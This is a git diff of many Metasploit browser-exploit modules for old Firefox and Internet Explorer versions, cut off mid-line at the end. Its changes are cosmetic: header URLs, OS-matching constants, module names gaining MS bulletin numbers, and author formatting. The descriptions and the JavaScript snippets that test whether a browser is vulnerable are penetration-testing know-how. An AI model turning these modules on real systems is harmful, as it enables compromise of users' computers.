a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 6517f3fe3d..06ef17e639 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index 9925504034..ac509c6e3d 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index c39594143b..509d30f471 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.6.8", # :ua_maxver => "3.6.11", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 8399836c1d..6f5fcddffe 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, #}) diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index f866e2d890..287360a20a 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability', + 'Name' => 'Firefox nsSVGValue Out-of-Bounds Access Vulnerability', 'Description' => %q{ This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1). The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index d239ef9219..496bbf0123 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_name => HttpClients::FF, :ua_minver => "3.5", :ua_maxver => "3.6.16", - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :javascript => true, :rank => NormalRanking, :vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }", diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 8c683e58c7..7a3e099a27 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index 72846fe0da..068a4c1a46 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'MS03-020 Internet Explorer Object Type', + 'Name' => 'MS03-020 Microsoft Internet Explorer Object Type', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer's handling of the OBJECT type attribute. diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 15ed99f71d..300685a93e 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb index 231312c141..707780d274 100644 --- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb +++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index b9a7b6fe36..4d26383509 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer createTextRange() Code Execution', + 'Name' => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft Internet Explorer. Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under @@ -25,10 +25,10 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Faithless <rhyskidd [at] gmail.com>', + 'Faithless <rhyskidd[at]gmail.com>', 'Darkeagle <unl0ck.net>', 'hdm', - '<justfriends4n0w [at] yahoo.com>', + '<justfriends4n0w[at]yahoo.com>', 'Unknown', ], 'References' => diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index 3dcbbccbd5..bf5f1f7495 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer VML Fill Method Code Execution', + 'Name' => 'MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on @@ -22,17 +22,17 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', - 'Aviv Raff <avivra [at] gmail.com>', - 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', - 'Mr.Niega <Mr.Niega [at] gmail.com>', - 'M. Shirk <shirkdog_list [at] hotmail.com>' + 'Aviv Raff <avivra[at]gmail.com>', + 'Trirat Puttaraksa (Kira) <trir00t[at]gmail.com>', + 'Mr.Niega <Mr.Niega[at]gmail.com>', + 'M. Shirk <shirkdog_list[at]hotmail.com>' ], 'References' => [ - ['CVE', '2006-4868' ], - ['OSVDB', '28946' ], - ['MSB', 'MS06-055' ], - ['BID', '20096' ], + ['CVE', '2006-4868'], + ['OSVDB', '28946'], + ['MSB', 'MS06-055'], + ['BID', '20096'], ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb index de4301f669..73e812c9da 100644 --- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb +++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow', + 'Name' => 'MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow', 'Description' => %q{ This module exploits a flaw in the WebViewFolderIcon ActiveX control included with Windows 2000, Windows XP, and Windows 2003. This flaw was published diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index 607cc5e58f..e3623bfa65 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => 'DirectAnimation.PathControl', # :method => 'KeyFrame', # :rank => NormalRanking # reliable memory corruption @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability', + 'Name' => 'MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a heap overflow vulnerability in the KeyFrame method of the direct animation ActiveX control. This is a port of the exploit implemented by diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index 9e8274a103..98c92b6610 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer XML Core Services HTTP Request Handling', + 'Name' => 'MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft XML Core Services which exists in the XMLHTTP ActiveX control. This module is the modifed version of diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index 3c8b6613ef..f2db2ee5be 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb index 22115cd278..b53071abb3 100644 --- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb +++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb index 704b64b93b..fc5f2e8ab7 100644 --- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb +++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb index f9d1e647c7..8834323960 100644 --- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb +++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb index 31fc8794b7..9d941bb40b 100644 --- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb +++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,13 +18,13 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Data Binding Memory Corruption', + 'Name' => 'MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the data binding feature of Internet Explorer. In order to execute code reliably, this module uses the .NET DLL diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index 635c0a5b8a..3f2dc970a4 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption', + 'Name' => 'MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption', 'Description' => %q{ This module exploits an error related to the CFunctionPointer function when attempting to access uninitialized memory. A remote attacker could exploit this vulnerability to diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 69edba0efd..4c883ed1f3 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb index 18fd564072..548fc18a29 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb index c33b60fee7..e31cd4d028 100644 --- a/modules/exploits/windows/browser/ms09_072_style_object.rb +++ b/modules/exploits/windows/browser/ms09_072_style_object.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,14 +18,14 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it # :rank => LowRanking # exploitable on ie7/vista #}) def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Style getElementsByTagName Memory Corruption', + 'Name' => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the getElementsByTagName function as implemented within Internet Explorer. diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index 31049e7c9b..bb682e0e02 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,13 +18,13 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "6.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer "Aurora" Memory Corruption', + 'Name' => 'MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption', 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer. This flaw was found in the wild and was a key component of the "Operation Aurora" diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index 672a16a447..5ba8df594e 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free", + 'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Internet Explorer's mshtml component. Due to the way IE handles objects in memory, it is diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 957a4d8908..38abad66ba 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,13 +36,13 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer DHTML Behaviors Use After Free', + 'Name' => 'MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free', 'Description' => %q{ This module exploits a use-after-free vulnerability within the DHTML behaviors functionality of Microsoft Internet Explorer versions 6 and 7. This bug was diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 542c26b8fa..ef07915e4a 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption', + 'Name' => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption', 'Description' => %q{ This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb index 44e448e290..497cd2818f 100644 --- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb +++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Winhlp32.exe MsgBox Code Execution', + 'Name' => 'MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability that occurs when a user presses F1 on MessageBox originated from VBscript within a web page. When the diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index 1b3cb2c0a7..f6283f3c4d 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index d3c2ead3bd..1cf8d13642 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index 5fd627ef69..76165d8a84 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index 0649d42364..74898d9b7d 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption', + 'Name' => 'MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption', 'Description' => %q{ Thie module exploits a memory corruption vulnerability within Microsoft's HTML engine (mshtml). When parsing an HTML page containing a specially diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 9a6010dcb2..9dac87eacf 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # Should be 6 # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # # Not strictly a vuln check, but an exploitability check since a # # specific version of .NET is required to make the ROP work. # :vuln_test => "if (/.NET CLR 2\\.0\\.50727/.test(navigator.userAgent)) { is_vuln = true }else{ is_vuln = false }", @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer CSS Recursive Import Use After Free', + 'Name' => 'MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free', 'Description' => %q{ This module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 188a52c080..037424e5c5 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS + # :os_name => OperatingSystems::Match::WINDOWS #}) def initialize(info={}) diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index 8616601c5b..51c62c2f9b 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Internet Explorer Option Element Use-After-Free", + 'Name' => "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", 'Description' => %q{ This module exploits a vulnerability in Microsoft Internet Explorer. A memory corruption may occur when the Option cache isn't updated properly, which allows diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index 61681e8f84..ce333b7c93 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index fe074d86ee..3807116899 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,20 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - include 